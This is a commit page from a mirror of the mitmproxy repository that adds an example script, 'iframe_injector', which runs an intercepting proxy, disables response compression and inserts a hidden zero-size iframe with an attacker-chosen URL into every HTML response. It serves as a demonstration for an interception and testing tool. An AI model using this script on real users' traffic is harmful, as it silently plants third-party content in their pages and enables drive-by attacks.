mirror of
https://github.com/Grasscutters/mitmproxy.git
synced 2024-11-29 19:08:44 +00:00
New example - standalone proxy injecting iframes into responses
This commit is contained in:
parent
060e3198bc
commit
a658dba410
50
examples/iframe_injector
Executable file
50
examples/iframe_injector
Executable file
@ -0,0 +1,50 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
"""
|
||||||
|
Zap encoding in requests and inject iframe after body tag in html responses.
|
||||||
|
Usage:
|
||||||
|
iframe_injector http://someurl/somefile.html
|
||||||
|
"""
|
||||||
|
from libmproxy import controller, proxy
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
|
||||||
|
|
||||||
|
class InjectingMaster(controller.Master):
|
||||||
|
def __init__(self, server, iframe_url):
|
||||||
|
controller.Master.__init__(self, server)
|
||||||
|
self._iframe_url = iframe_url
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
try:
|
||||||
|
return controller.Master.run(self)
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
self.shutdown()
|
||||||
|
|
||||||
|
def handle_request(self, msg):
|
||||||
|
if 'Accept-Encoding' in msg.headers:
|
||||||
|
msg.headers["Accept-Encoding"] = 'none'
|
||||||
|
msg._ack()
|
||||||
|
|
||||||
|
def handle_response(self, msg):
|
||||||
|
if msg.content:
|
||||||
|
c = msg.replace('<body>', '<body><iframe src="%s" frameborder="0" height="0" width="0"></iframe>' % self._iframe_url)
|
||||||
|
if c > 0:
|
||||||
|
print 'Iframe injected!'
|
||||||
|
msg._ack()
|
||||||
|
|
||||||
|
|
||||||
|
def main(argv):
|
||||||
|
if len(argv) != 2:
|
||||||
|
print "Usage: %s IFRAME_URL" % argv[0]
|
||||||
|
sys.exit(1)
|
||||||
|
iframe_url = argv[1]
|
||||||
|
config = proxy.ProxyConfig(
|
||||||
|
cacert = os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem")
|
||||||
|
)
|
||||||
|
server = proxy.ProxyServer(config, 8080)
|
||||||
|
print 'Starting proxy...'
|
||||||
|
m = InjectingMaster(server, iframe_url)
|
||||||
|
m.run()
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main(sys.argv)
|
Loading…
Reference in New Issue
Block a user